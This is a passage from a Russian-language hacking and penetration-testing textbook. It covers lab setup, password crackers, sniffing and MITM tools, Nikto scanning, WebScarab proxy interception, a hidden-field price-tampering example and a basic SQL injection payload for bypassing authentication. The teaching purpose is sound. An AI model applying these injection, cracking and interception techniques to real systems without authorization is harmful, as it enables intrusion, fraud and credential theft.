11.7 Как вы можете отработать этот шаг? Есть разные способы отработать этот шаг на практике. Пожалуй, наиболее разумный — лаборатория по тестированию на проникновение, в которой есть слабые места. Лучше использовать виртуальные машины, так как попытка вторжения может быть разрушительной. Виртуальную машину обычно восстанавливать быстрее и проще. Для новичков важно получить несколько удачных опытов, чтобы не потерять мотивацию, когда вы перейдете к более сложным целям. Эффективно начинать с более старых, непатченных ОС и версий ПО. После достижения нескольких успехов, как правило, появляется мотивация продолжать попытки. Если новичок попытается взломать самые последние, современные и полностью обновленные ОС, он, скорее всего, потерпит крах и быстро разочаруется. Если вы в начале пути, дайте себе шанс на победу и получите удовольствие от работы. Только после того, как вы освоите инструменты и техники, представленные в этой книге, можно переходить к более сложным целям. Хотя бы один из компьютеров в вашей лаборатории должен работать под управлением Windows 7, которую можно купить на eBay. Однако вы должны убедиться, что приобрели подлинную и легальную копию. Новичкам рекомендуется начать с устаревшей ОС: Metasploit предоставляет готовые эксплойты, которые можно использовать для проверки своих навыков. При создании тестовой лаборатории рекомендуется использовать версию Windows 7 с минимальным количеством пакетов обновлений. Каждый пакет обновлений устраняет ряд недостатков и уязвимостей в системе безопасности. Конечно, Windows 7 без пакетов обновления лучше всего подходит для начала работы. Но Windows 7 SP1 — тоже хорошая цель. Даже Windows 7 с SP2 и SP3 — все еще хорошая цель, но количество уязвимостей меньше. Независимо от того, какую Windows вы используете, вы наверняка сможете найти хотя бы один проверенный и испытанный эксплойт. Однако не только старые версии Windows, но и Linux — легкая добыча. Команда Kali создала бесплатный учебный модуль для Metasploit под названием Metasploit Unleashed 62. Обязательно взгляните на него: среди прочего он показывает, как создать тестовую лабораторию. Вам понравится настраивать необходимые уязвимые цели и работать с ними. Здесь же я даю советы по настройке тренировочных целей для отдельных инструментов: ◾ Вы можете попрактиковаться в работе с Medusa, запустив удаленный процесс на предполагаемом целевом компьютере (например, Telnet на компьютере под управлением Windows или SSH, или FTP на Linux). Также необходимо создать несколько пользователей с паролями, которые будут иметь доступ к этим удаленным службам. Как только удаленная 62 https://www.offsec.com/metasploit-unleashed ­ 257
Глава 11 Вторжение через локальную сеть служба будет запущена, вы можете попытаться получить доступ к системе с помощью Medusa. ◾ Чтобы попрактиковаться в работе с Metasploit и Armitage, рекомендуется установить в качестве цели старую версию Windows. Это также может быть старая версия Linux, например, Ubuntu с Samba. ◾ Для упражнений с John the Ripper и chntpw в целевой системе создаются разные учетные записи пользователей с разными паролями. Для каждой записи следует использовать пароли разной сложности, включая слабые длиной всего 3–4 символа. Другие пароли должны быть длиннее и содержать заглавные и строчные буквы, а также специальные символы. ◾ Чтобы потренироваться во взломе Active Directory, необходимо установить на него сервер Windows и Active Directory. Если вы используете виртуальную машину, которую я рекомендую, убедитесь, что она имеет те же сетевые настройки, что и виртуальные машины Windows, то есть сеть NAT. 11.8 Каковы дальнейшие действия? В этой главе описаны основные шаги по использованию уязвимостей компьютера для получения доступа к ним. Помните, что подход необходимо адаптировать в зависимости от цели и намерения атаки. После изучения основ вы можете сосредоточиться на более сложных темах. Рекомендуется также приобрести инструменты для взлома паролей, такие как Hydra. Принцип его работы аналогичен уже рассмотренному методу Medusa, но здесь есть и другие параметры, на которые стоит обратить внимание. Как и в случае со многими инструментами в Linux, описание можно найти на справочной странице Hydra. Опции синхронизации можно использовать для устранения многих ошибок подключения, которые могут возникнуть при использовании онлайн-инструментов для взлома паролей. ­ Также неплохо вести собственный словарь паролей и список стандартных имен пользователей и паролей для разных сетевых устройств. Это поможет вам как системному администратору, поскольку пароли по умолчанию для сетевых устройств часто не меняются. В интернете также доступно множество списков имен пользователей и паролей по умолчанию, которые станут для вас полезным подспорьем в начале работы и которые вы можете постоянно расширять. Я также хотел бы отметить, что есть много отличных инструментов для анализа сетевого трафика, которые вы должны проверить. В этой книге мы только начали с основ Wireshark, поэтому вам стоит ознакомиться с ним и его множеством функций. Узнайте, какие преимущества может иметь использование фильтров, как можно отслеживать потоки данных, как отображать конкретную информацию о конкретных пакетах. 258
11.8 Каковы дальнейшие действия? Как только вы хорошо освоите Wireshark, вы сможете заняться другими инструментами для перехвата трафика. Один них — dsniff. Это невероятный пакет с множеством инструментов. Если у вас будет немного практики, вы также сможете перехватывать зашифрованный трафик, такой как SSL. Инструмент, с помощью которого вы можете захватывать и отображать сетевой трафик в терминале, — Tcpdump. Это отличный инструмент, если у вас нет графического интерфейса, например, если вы получили доступ к оболочке на целевой системе. Еще один отличный инструмент со множеством мощных функций — Ettercap, идеально подходящий для атак типа «человек посередине». Он обеспечивает отправку всего трафика в сети через компьютер злоумышленника. Таким образом, у вас есть возможность получить учетные данные с компьютеров в локальной сети. Как только вы сможете успешно использовать все эти инструменты, вы также освоите базу сетевого сниффинга. Если вы знакомы с основой Metasploit, вам также следует поближе познакомиться с Meterpreter. Его возможности многочисленны благодаря опциям и командам. Ознакомьтесь с инструментом и потренируйтесь его использовать. Усилия с лихвой окупятся, если вы научитесь управлять этими невероятными полезными нагрузками. Использование Metasploit с Meterpreter — одна из самых опасных комбинаций, доступных хакеру. Позже в книге, когда речь зайдет о действиях после вторжения, я покажу вам Meterpreter более подробно. Если в Metasploit не найден подходящий эксплойт, вы можете поискать его в базе данных эксплойтов 63. Во многих случаях можно скачать код эксплойта и адаптировать его для захвата вашей целевой системы. Атаки, которые мы рассматривали до сих пор, были автоматизированными. Хотя это уже успех, если вы можете захватить чужую систему, нажав на правильные кнопки, ваши навыки не смогут развиваться дальше. В начале достаточно полагаться на других людей, которые предоставляют новые инструменты эксплойтов. Но если вы не хотите оставаться скрипт-кидди, вам необходимо разработать свои собственные эксплойты. Это может показаться сложной задачей, но чем больше вы будете углубляться в материал, тем проще это станет. ­ Новичкам это может показаться черной магией, но причина, по которой многие доступные сегодня эксплойты работают, — буферные переполнения (Stack- und Heap-Buffer-Overflows). Как часто бывает, необходимо глубоко ознакомиться с этой темой, чтобы приподнять завесу тайны и овладеть этой «магией». ­ 63 ­ База данных эксплойтов — это публичный архив эксплойтов и кодов для использования уязвимостей. 259
Глава 11 Вторжение через локальную сеть Конечно, не помешает выучить язык программирования, например, C, а затем хотя бы ознакомиться с основами ассемблера. Это поможет развить навыки, чтобы вы могли распознавать буферные переполнения и писать быстрый код. Впоследствии не помешает также разобраться со скриптовыми языками. Многие инструменты, которые вы можете использовать для взлома, написаны на Python. Так что если вы освоите Python или Ruby, то сможете расширить существующие инструменты и автоматизировать задачи. 11.9 Резюме В этой главе мы рассмотрели тему, которую многие считают «хакингом», — основы проникновения. Это очень широкая область хакинга, и есть разные методы выполнения этого шага. В начале главы вы познакомились с онлайн-взломщиком паролей Medusa. Кроме того, я показал вам, как использовать JtR для взлома локальных паролей и Metasploit для эксплуатации уязвимостей. Если у вас не будет времени использовать один из взломщиков паролей, вы знаете, как можно сбросить пароль. ­ Я показал вам, как шпионить за сетевым трафиком. Вы узнали, как с помощью macof проводить сниффинг в сетях с коммутаторами. Я также показал, как атаковать цель с помощью Armitage, если ничего другого не остается.
Глава 12 Вторжение через веб-интерфейс Сегодня все подключено к интернету, поэтому это один из самых распространенных векторов атак. Вам нужно ознакомиться с основами веб-атак. Многие организации сегодня уже не имеют простых статичных веб-сайтов, написанных на HTML, а используют современные веб-представительства, которые во многих случаях динамичны и управляются пользователями. Эти современные сайты часто содержат сложный код с операциями, управляемыми базами данных. Но к интернету теперь подключены не только компьютеры, но и телефоны, бытовая техника и, конечно же, системы, принадлежащие вашей целевой организации. ‑ В последние годы облачные вычисления пережили подъем и стали неотъемлемой частью многих компаний. Переход к облачным решениям привел к тому, что все больше и больше программ выполняется в интернете. Если раньше Microsoft Office приходилось устанавливать локально на физический компьютер, с Microsoft 365 и Google Docs вы можете использовать многие функции онлайн. Часто бывает, что локальной установки уже нет вообще: данные, программы и информация находятся где то на сервере в центре обработки данных. ­ ­ ­ ­ Компании все чаще пользуются возможностями онлайн-сервисов. Онлайнбанкинг, интернет-магазины и онлайн-бухгалтерские услуги уже стали обычным явлением. Все взаимосвязано. Интернет можно охарактеризовать как современный «Дикий Запад». Все стремятся перенести всё в интернет, подключить системы и сделать их доступными во всем мире. В то же время новые атаки также развиваются и распространяются быстрыми темпами. Любой, кто начинает взлом, должен знать основы веб-атак. 12.1 Основы веб-взлома Вы уже познакомились с Metasploit. Он обеспечивает основу для стандартизированного и структурированного подхода к атаке на цель. Также есть множество хороших фреймворков для взлома веб-приложений: ◾ w3af — Web Application Audit and Attack Framework; ◾ ZAP — Zed Attack Proxy от OWASP64; ◾ Burp Suiteи т. д. 64 Open Web Application Security Project. 261
Глава 12 Вторжение через веб-интерфейс Эти инструменты имеют аналогичный спектр функций и отлично выполняют веб-атаки. Здесь ваш браузер используется так же, как и при посещении веб-сайта, но трафик направляется через прокси-сервис. Это позволяет записывать и анализировать все запросы и ответы веб-приложения. Все коллекции инструментов предлагают огромный спектр функций, но вы можете извлечь всё из нескольких основных принципов для веб-хакинга. ­ 12.1.1 Перехватывайте запросы, поступающие из браузера Прокси-сервер — это важный компонент. Он позволяет изменять значения переменных до того, как они попадут в веб-приложение. Этот инструмент входит в состав почти всех распространенных фреймворков для веб-взлома. ­ Принцип работы веб-транзакций заключается в том, что приложение, установленное на сервере, принимает запрос браузера и на его основе предоставляет страницы. Многие запросы состоят из переменных, которые определяют, какие страницы должны быть показаны пользователю. Однако эти переменные могут также определять, какие товары следует добавить в корзину, какие банковские данные или результаты игр следует отобразить. Как хакера вас интересует, как добавить, изменить или удалить параметры запроса. В конце концов, веб-приложение должно определить, что ему делать с запросом, который больше не является правильно сформированным. 12.1.2 Поиск веб-страниц, каталогов и других файлов, необходимых для работы веб-приложения Для атаки необходимо получить лучшее понимание вектора. Автоматизированный веб-паук (Spider) помогает. Чтобы найти все файлы и страницы вебприложения, введите URLв Spider. Внимание Веб-паук отправляет несколько тысяч запросов на целевой веб-сайт, что делает секретный доступ практически невозможным. Когда ответы веб-приложения поступают к пауку, полученный HTML-код проверяется на предмет дополнительных ссылок, которые добавляются в целевой список, посещаются, каталогизируются и анализируются. Пока не все обнаруженные ссылки обработаны, паук отправляет веб-серверу новые запросы. Активировать паука и дать ему поработать один раз очень эффективно для обнаружения большинства поверхностей веб-атак. Если вы вошли в веб-при- 262
12.2 Поиск уязвимостей в веб-приложениях ложение и паук найдет ссылку для отказа от подписки, вы выйдете из системы без предупреждения. В результате вы больше не сможете найти контент, доступный только авторизованным пользователям. Также можно нацелить паука на отдельные каталоги или пути целевого приложения, чтобы лучше контролировать процесс. 12.1.3 Анализ ответов веб-приложений и поиск слабых мест Если вы подумали, что этот процесс похож на сканирование уязвимостей в Open-VAS, то вы правы. Этот процесс применяется только к веб-приложениям. Веб-приложение реагирует на изменение значений переменных с помощью прокси. Даже если инструмент сканирования посылает сотни известных вредоносных запросов веб-приложению, оно все равно должно как то отреагировать. Эти ответы сканируются на наличие признаков уязвимостей на уровне приложения. ­ ‑ Многие уязвимости в веб-приложениях можно обнаружить на основе сигнатур, что идеально подходит для использования автоматизированного инструмента. Однако есть и такие, которые не могут быть обнаружены автоматически. Предупреждение В зависимости от того, какие метапакеты выбраны во время установки, может случиться так, что некоторые пакеты веб-взлома в данный момент не установлены. Вы можете установить отдельные инструменты позже или установить полные метапакеты типа kali-tools-web: apt install –y kali-tools-web 12.2 Поиск уязвимостей в веб-приложениях 12.2.1 Nikto — обнаружение уязвимостей на веб-серверах Nikto — это инструмент для автоматического поиска уязвимостей в веб-серверах. Инструмент проверяет сервер на наличие старого и непропатченного ПО и включен в стандартную установку Kali. Если вы установили урезанную версию Kali, вы можете установить его в терминале с помощью команды aptget install Nikto. Для запуска Nikto должен быть установлен Perl. 263
Глава 12 Вторжение через веб-интерфейс Рис. 12.1. Вывод сканера уязвимостей Nikto при проверке сайта google.at Если ввести nikto в терминале, то на выходе вы получите возможные варианты — краткое описание доступных параметров. Если вы хотите выполнить простое сканирование уязвимостей, необходимо указать параметр -h и IP-адрес целевого узла. Также желательно указать номер порта с помощью параметра -p. В Nikto вы можете сканировать отдельные порты, несколько портов или их диапазон. Если вы хотите просканировать все порты (от 1 до 1 000) для веб-серверов, введите в терминале следующую команду: nikto -h 91.227.204.35 -p 1–1000 Если вы хотите просканировать несколько несмежных портов, разделите их запятой: nikto -h 91.227.204.35 -p 80,443 Если вы не укажете номер порта, по умолчанию будет проанализирован только порт 80. С помощью параметра -o, за которым следует путь и имя нужного файла, вы также можете сохранить результаты для последующего анализа. 264
12.2 Поиск уязвимостей в веб-приложениях 12.2.2 watobo — не просто красивая поверхность Для поиска уязвимостей в веб-приложениях вы можете использовать коммерческие инструменты типа WebInspect или AppScan, или бесплатные, такие как WebScarab или Burp Suite. Коммерческие инструменты могут быть очень дорогими. Если вы делаете первые шаги в качестве хакера, вы, вероятно, захотите сберечь свой кошелек, обойтись без автоматизации сканирования уязвимостей и использовать бесплатные инструменты. С watobo вы можете воспользоваться преимуществами обоих миров. Основное внимание в этом инструменте уделяется полуавтоматическому тестированию на проникновение. Пользовательский интерфейс оптимизирован для ручного тестирования. Однако вы можете выполнять и типичные задачи, такие как тесты на межсайтовый скриптинг (XSS), очень легко. Инструмент — это фреймворк, который предоставляет все элементарные функции, такие как en/decoder, parser, и который может быть легко расширен. watobo — впечатляющий инструмент для сканирования и атаки веб-ресурсов. Он настолько прост, что подойдет не только профессиональным тестировщикам, но и разработчикам и администраторам для базовых проверок. Вы получите краткое описание уязвимостей с рекомендацией к действию. Как уже упоминалось, пользовательский интерфейс оптимизирован для ручного тестирования, предлагает несколько горячих клавиш для быстрого поиска и навигации в выходных данных, а также кодирования и декодирования. С левой стороны вы найдете древовидную структуру для выводов и расположения страниц. В центре находится таблица ConversationTable, в которой можно увидеть отдельные запросы. Если вы щелкнете на запрос, то справа увидите содержимое запросов и ответов. Инструмент также предлагает iProxy (Interceptor Proxy), который выполняет классические функции прокси. Запросы принимаются и пересылаются прокси-сервером. Перехватчик в состоянии отловить запросы и ответы, которыми вы можете манипулировать. Запрос или ответ пересылается только в том случае, если вы его подтверждаете. Определенный контент, который вас не интересует в перехватчике, можно передать непосредственно на сервер с помощью функции pass-through. Фильтрация может быть установлена на Content-Type и Content-Length. Это должно обеспечить бесперебойную работу приложения. Инструмент также включает в себя Pseudo-Webserver, чтобы вы могли использовать предварительный просмотр HTML. ­ ­ ­ ­ В инструменте есть функция интеллектуального сканирования, позволяющая сократить количество запросов. Похожие URL-адреса группируются вместе, и при наличии одинаковых параметров задается только один запрос. Параметры функции, такие как addUser или deleteUser, можно объявить так, чтобы они не группировались вместе, чтобы всегда выполнялась правильная функция. 265
Глава 12 Вторжение через веб-интерфейс В сканере можно определить: ◾ целевую область, которая относится к странице — хост и порт; ◾ корневой путь: проверяются функции, находящиеся в пределах этого пути; ◾ шаблоны исключения для защиты функций, которые могут быть опасны для приложения. У сканера также есть функция управления сеансом. Это означает, что выход из системы обнаруживается и новый вход может быть выполнен автоматически. Один из важнейших компонентов инструмента — Manual Request Editor. Это редактор, с помощью которого можно проводить все манипуляции и отправлять на сервер одним нажатием кнопки. Он также поддерживает автоматический вход в систему, обновление информации о сеансе и одноразовые токены: редактор ручных запросов может запросить одноразовый токен, чтобы иметь возможность делать запросы к серверу. Для этого необходимо создать или открыть проект, нажав на символ +. Выбрав проект, нажмите на кнопку Continue. Вы можете использовать отдельные сеансы для просмотра отдельных областей. Рис. 12.2. Вывод в watobo после вызова страницы После начала сеанса можно открыть браузер. Убедитесь, что прокси 8081 настроен. Если это так, все запросы в браузере выполняются через watobo. Все запросы отображаются в центре интерфейса GUI. Здесь вы можете дважды щелкнуть на запросе, чтобы открыть редактор (рис. 12.3), в котором запрос будет обработан и отправлен на сервер. 266
12.2 Поиск уязвимостей в веб-приложениях Рис. 12.3. Запрос в редакторе Если запрос уже открыт, здесь же можно запустить быстрое сканирование. Для этого в окне нажмите на Quickscan: откроется новое окно, в котором можно задать некоторые настройки (рис. 12.4). После нажатия кнопки Next вы можете выбрать нужные сканы из доступных проверок (рис. 12.5) и выполнить их. Рис. 12.4. Настройка быстрого сканирования 267
Глава 12 Вторжение через веб-интерфейс Рис. 12.5. Выбор проверок для быстрого сканирования Если вы открыли страницу браузера в сеансе, можно также выполнить полное сканирование: оно проводит проверку запросов, которые были сделаны. Для этого нажмите на кнопку со стрелкой. В открывшемся окне вы можете выбрать целевую область. В примере предлагается выбрать ранее посещенную страницу с портами 80 и 443 (рис. 12.6). Рис. 12.6. Выбор целевого диапазона для полного сканирования Выбрав целевую область, нажмите Next, чтобы выбрать проверки (рис. 12.7). Затем необходимо подтвердить запросы, к которым будут применены проверки. 268
12.2 Поиск уязвимостей в веб-приложениях Рис. 12.7. Выбор проверок для полного сканирования Рис. 12.8. Подтверждение запросов, к которым нужно применить проверки Во время сканирования можно вызвать своеобразную приборную панель (рис. 12.9), нажав на «глаз», чтобы увидеть прогресс отдельных сканирований. В левой колонке под заголовком Vulnerabilities отображаются все уязвимости, найденные в сессии. 269
Глава 12 Вторжение через веб-интерфейс Рис. 12.9. Полное сканирование watobo, обзор приборной панели 12.3 WebScarab — анализ веб-сайтов (паук) После сканирования уязвимостей с помощью таких инструментов, как Nikto и Watobo, вы также должны запустить Spider-Tool 65 над целью. Паук — это полезный инструмент для изучения и чтения (сканирования) веб-страницы, поиска ссылок и связанных файлов. Все найденные ссылки, сайты и файлы каталогизируются. Собранная информация может быть полезна для доступа к ограниченным страницам и поиска случайно раскрытых документов или информации. ­ Отличный инструмент для анализа веб-страниц — WebScarab, который уже предустановлен в некоторых хакерских ОС, таких как Kali Linux. WebScarab служит прокси-сервером между приложением и веб-сервером и, таким образом, может подслушивать связь. Он позволяет регистрировать HTTP-соединения и защищенные SSL HTTPS-соединения. Это дает вам изменять запросы и ответы, прежде чем передавать их по назначению. ­ 65 270 Паук или Webcrawler — это тип бота, который индексирует содержимое веб-сайтов.
12.3 WebScarab — анализ веб-сайтов (паук) Рис. 12.10. Пользовательский интерфейс WebScarab У фреймворка — модульная структура, что позволяет загружать любые плагины в соответствии с вашими потребностями. Даже в стандартной конфигурации WebScarab — отличный инструмент для взаимодействия и анализа веб-целей. 12.3.1 Конфигурация и «паучья» атака Запустить WebScarab можно через терминал с помощью команды webscarab или через системное меню (Applications|Webscarab). Перед началом атаки убедитесь, что вы находитесь в режиме с интерфейсом со всеми возможностями. Это режим по умолчанию в Kali Linux, но вы можете переключаться между урезанным (Lite) и полнофункциональным интерфейсом (см. рис. 12.11). После смены интерфейса вам будет предложено перезапустить инструмент. После перезапуска вы получите доступ к дополнительным вкладкам в верхней части окна, которые были недоступны в версии Lite, включая вкладку Spider. Рис. 12.11. WebScarab в режиме интерфейса Lite, предложение перейти в полный режим 271
Глава 12 Вторжение через веб-интерфейс Если вы находитесь в полном режиме, настройте свой браузер на использование WebScarab в качестве прокси-сервера, чтобы весь трафик, поступающий или исходящий из браузера, направлялся через инструмент. Прокси-сервер действует как посредник, который может возможность просматривать, останавливать и манипулировать сетевым трафиком. ­ ­ Обычно прокси можно настроить в браузере в настройках подключения. В Firefox ESR, который в Kali установлен по умолчанию, вы найдете его в разделе «Общие|Настройки подключения» и «Настройки…» (см. рис. 12.12). При настройке выберите в разделе «Настройка прокси-доступа к интернету» ручную настройку прокси и установите 127.0.0.1 в качестве HTTP-прокси на порту 8008. Лучше сразу установить флажок «Использовать этот проксисервер для всех протоколов», расположенный под полем HTTP-прокси. Теперь вам нужно только подтвердить все внесенные данные кнопкой «ОК», чтобы выйти из окна настроек подключения. ­ ­ Рис. 12.12. Настройка прокси в Firefox для использования WebScarab С этого момента весь трафик, который достигает или покидает ваш браузер, будет маршрутизироваться через WebScarab в качестве прокси-сервера. ­ 272
12.3 WebScarab — анализ веб-сайтов (паук) Помните, что WebScarab должна работать, пока она служит прокси. После его закрытия вы получите сообщение об ошибке в интернете, что прокси-сервер не может быть найден. Тогда вам придется либо перезапустить WebScarab, либо изменить настройки прокси. Если вы используете локальный прокси, вас не должна пугать ссылка на недействительный сертификат, который появляется во всем трафике данных HTTPS. Это ожидаемое поведение, поскольку прокси-сервер расположен в середине соединения. ­ ­ После настройки прокси вы можете начать атаку Spider 66 на цель. Для этого введите целевой URL в браузере. Предположим, вы хотите увидеть все файлы и директории сайта ICTE. Для этого просто откройте URL http://www.icte. biz в браузере. Теперь сайт будет маршрутизироваться через WebScarab. Как только он загрузится в браузере, вы можете переключиться на WebScarab. Там вы увидите URL, а также все другие, которые вы посетили с момента запуска WebScarab или переключения прокси. Чтобы исследовать сайт, щелкните правой кнопкой мыши на URL и выберите Spider Tree. Теперь вы увидите файлы и папки, принадлежащие целевому сайту. Чтобы изучить отдельные папки, щелкните правой кнопкой мыши по папке и снова выберите Spider Tree. 12.3.2 Требования к перехвату WebScarab — это очень мощный инструмент. Одна из его многочисленных функций — выступать в качестве прокси между браузером и сервером. Как уже упоминалось, весь трафик от браузера и к нему проходит через этот инструмент. Это позволяет останавливать, перехватывать и даже изменять данные, прежде чем они достигнут браузера, или после того, как они его покинут. Таким образом, вы можете вносить изменения во время передачи данных. Возможность видеть и манипулировать HTTP-запросами и ответами серьезно влияет на безопасность. Плохо разработанные веб-страницы иногда полагаются на скрытые поля для передачи данных к браузеру и от него. Это значит, что разработчик вебстраницы создает скрытое поле в форме и предполагает, что пользователь не сможет к нему получить доступ. Это может быть верно для стандартного пользователя, но любой, кто использует прокси-сервер, может видеть и редактировать это поле. ­ Классический пример — интернет-магазин IT-оборудования. Ознакомившись с ассортиментом, пользователь решает купить принтер за €146.00. Однако покупатель — не обычный пользователь, а хакер, который использует прокси и понимает, что цена принтера передается на сервер в скрытом поле, когда пользователь нажимает на кнопку Into The Shopping Cart. Он настроил ­ 66 Spider — функция в ZAP, которая обнаруживает и вызывает новые URL-адреса на вебсайтах. Паук проверяет все найденные ссылки на наличие уязвимостей. 273
Глава 12 Вторжение через веб-интерфейс прокси на перехват почтовых HTTP-запросов. Теперь хакер может изменить значение скрытого поля на €1.00 и передать запрос на сервер. Там принтер добавляется в корзину, но вместо реальной суммы в €146.00 новая составляет всего €1.00. Если вы настроили WebScarab так, как описано выше, прокси-программа останавливает практически каждую транзакцию, чтобы вы могли изучить и изменить данные. Если это становится для вас слишком сложным, вы можете отменить подтверждение каждой транзакции с помощью кнопки Cancel All Intercepts. Это очень удобно, если вы хотите ускорить процесс. Вы также можете свести к минимуму количество таких запросов, отключив Intercept Requests и/или Intercept Responses на вкладке Proxy (см. рис. 12.13). ­ Рис. 12.13. Настройка перехвата запросов и ответов в WebScarab Если вы хотите изменить значение в поле, подождите, пока WebScarab перехватит этот запрос, а затем найдите переменную, которую хотите изменить. Затем вам останется только ввести новое значение в поле Value и нажать кнопку Insert, чтобы применить изменения. Просмотр HTTP-запросов и ответов может быть полезен для поиска имен пользователей и паролей. Значения в этих полях могут выглядеть как зашифрованные, но это всего лишь кодировка Base64, а не шифрование. Для неспециалиста эти методы могут выглядеть похожими, но они принципиально отличаются. Расшифровка Base64 — это простая задача, которую можно выполнить с помощью программы или онлайн-инструмента. ­ 274
12.4 Инъекция кода WebScarab — не единственный хороший прокси-сервер, который может быть полезен для перехвата данных. Мы рекомендуем присмотреться и к другим. ­ 12.4 Инъекция кода Помимо переполнения буфера в системном коде, атаки с использованием инъекции кода — тоже серьезная проблема. Они используются для обхода аутентификации, а также могут применяться для манипулирования данными, просмотра конфиденциальной информации или даже выполнения команд на удаленном хосте. Этому типу атак можно было бы посвятить целую главу. Однако в этой книге я хотел бы сосредоточиться на основах, поэтому мы остановимся на самом простом типе — классической SQL-инъекции. Здесь вы рассмотрите основные команды для осуществления такой атаки и узнаете, как с их помощью обойти простую аутентификацию в веб-приложении. Современные веб-приложения часто используют языки-интерпретаторы и базы данных для хранения информации и динамической генерации контента. Наиболее популярные языки-интерпретаторы — PHP, JavaScript, SQL и Python, но есть много других. Языки-интерпретаторы отличаются от языков-компиляторов 67 тем, что машинный код генерируется непосредственно перед выполнением. ­ ­ ­ В современных веб-приложениях (например, в интернет-магазинах) последовательность исполняемых инструкций создается на языке интерпретатора, который учитывает спецификации программиста и ввод пользователя. Так, если кто то хочет купить в интернет-магазине новую пару черных джинсов, он вводит в поле поиска магазина «черные джинсы». После нажатия на кнопку поиска вводимые данные считываются приложением, и создается запрос для поиска в базе данных полей таблицы товаров, содержащих «черные джинсы». Товары, содержащие ключевые слова, извлекаются из базы данных и отображаются в браузере пользователя. ­ ‑ ­ Знание принципов работы языков-интерпретаторов — основа для понимания того, что происходит во время инъекционной атаки. Поскольку пользовательский ввод обычно используется для компиляции кода, который выполняется на целевой системе, атаки внедрения предполагают передачу манипулируемого пользовательского ввода для выполнения непредусмотренных команд на целевой системе или отправки информации злоумышленнику. ­ 67 В языках с компиляторами исходный код должен быть скомпилирован программистом и на его основе создан исполняемый файл (exe). Если исходный код впоследствии будет изменен, его необходимо перекомпилировать, а исполняемый файл распространить заново. 275
Глава 12 Вторжение через веб-интерфейс Классическая инъекционная атака — SQL-инъекция. SQL — это язык для взаимодействия с данными в базе данных. С его помощью можно читать, записывать, редактировать и удалять данные, хранящиеся в таблицах базы. В предыдущем примере пользователь ввел поисковый запрос «черные джинсы» в веб-приложение (интернет-магазин), которое создало и выполнило SQL-запрос на основе этого ввода. ­ Обратите внимание, что есть различные варианты SQL. Разные производители используют разные ключевые слова для одних и тех же действий. Оператор, который работает в MySQL, может не сработать в MS SQL. Поэтому информация в этом разделе очень простая и общая и подходит для большинства приложений, использующих SQL. Однако всегда следует изучать элементы конкретного языка для вашей цели. В примере мы уже искали «черные джинсы» в интернет-магазине. После ввода ключевого слова «черные джинсы» в поле поиска веб-приложение создает SQL-запрос для поиска в таблице товаров строк, содержащих поисковый запрос. SQL-запросы — одни из самых распространенных действий, выполняемых веб-приложениями, поскольку они используются для поиска в таблицах и возврата результатов. Простой SQL-запрос, который ищет поисковый запрос, выглядит следующим образом: ­ SELECT * FROM product WHERE category = ‘black jeans’ Команда SELECT задает поиск в таблице и возвращает результат. При использовании подстановочного знака * возвращаются все столбцы найденной строки. Ключевое слово FROM указывает таблицу для поиска; в примере это product. Предложение WHERE содержит условие проверки, чтобы определить, какие строки будут возвращены. В этом примере SELECT возвращает все строки таблицы product, которые содержат поисковый термин black jeans в столбце category. Однако на практике операторы SQL обычно намного сложнее. Например, в одном запросе можно обращаться к разным столбцам нескольких таблиц. Но давайте остановимся на простом примере и рассмотрим его подробнее. Все, что находится слева от знака равенства, — это та часть, которая поступает от разработчика. Значение справа от знака равенства поступает от пользователя. Это знание важно для дальнейших шагов SQL-инъекции. Теперь, обладая базовыми знаниями синтаксиса SQL, можно получить неожиданные результаты. SQL-запрос в веб-приложении полностью находится в ключе Where, за исключением строкового значения. Приложение завершает SQLзапрос, добавляя строку из поля поиска в конце. В результате команда выглядит так, как указано выше. Слова «черные джинсы» заключены в одинарные кавычки, так как это строковый тип данных в базе данных. Число кавычек в запросе всегда должно быть четным, иначе произойдет ошибка синтаксиса SQL, и запрос не выпол276
12.4 Инъекция кода нится. Однако, если пользователь теперь не просто вводит в поисковый запрос «черные джинсы», а расширяет поисковый запрос следующим образом: ‘black Jeans’ or 1 = 1— будет сгенерирован следующий SQL-запрос: SELECT * FROM product WHERE category = ‘black Jeans’ or 1 = 1—’ Дополнительная перевернутая запятая завершает строку ‘черные джинсы’, и следующие символы выполняются SQL-сервером как код: or 1 =1— Оператор SQL or возвращает все записи, для которых выполняется хотя бы одно из указанных условий. Теперь вы, наверное, задаетесь вопросом: почему нет синтаксической ошибки, хотя в команде три кавычки? Это из-за строки, которая говорит, что все, что стоит за этой строкой, — комментарий. Сгенерированная команда по-прежнему имеет третью кавычку в конце, но распознается как комментарий и больше не обрабатывается. Этот удобный трюк позволяет добавить дополнительный код к инструкции, который может помешать инъекции. Недавно сгенерированная инструкция SQL в этом примере теперь возвращает все записи в таблице, поскольку 1 = 1 всегда истинно. Чтобы понять, как может быть осуществлена атака с использованием SQLинъекций, необходимо знать тонкости структуры SQL-запросов. Выбранный пример далеко не захватывающий. Вместо того чтобы просто отображать строки, содержащие поисковый запрос «черные джинсы», этот трюк лишь позволяет вывести всю таблицу. Но если применить его в другой ситуации, результат может быть гораздо более впечатляющим. Часто SQL также используется для аутентификации пользователей в веб-приложениях. Вводя имя пользователя и пароль, вы получаете доступ к ограниченным областям или документам. Также для запросов аутентификации добавленные пользователем данные комбинируются с инструкциями, установленными программистом. Рассмотрим это на примере. У компании есть веб-приложение, созданное для предоставления конфиденциальных документов ключевым партнерам. Доступ, конечно, защищен. Каждый из партнеров получает уникальные имена пользователей и пароли, чтобы идентифицировать себя с соответствующим веб-приложением и загрузить документы. После настройки приложения предназначен тест на проникновение, чтобы определить, можно ли обойти аутентификацию. Вы можете решить эти задачи, используя уже показанную технику. Всегда помните, что вы можете прокомментировать любой последующий код с помощью —. Так можно использовать SQL для обхода или игнорирования раз- 277
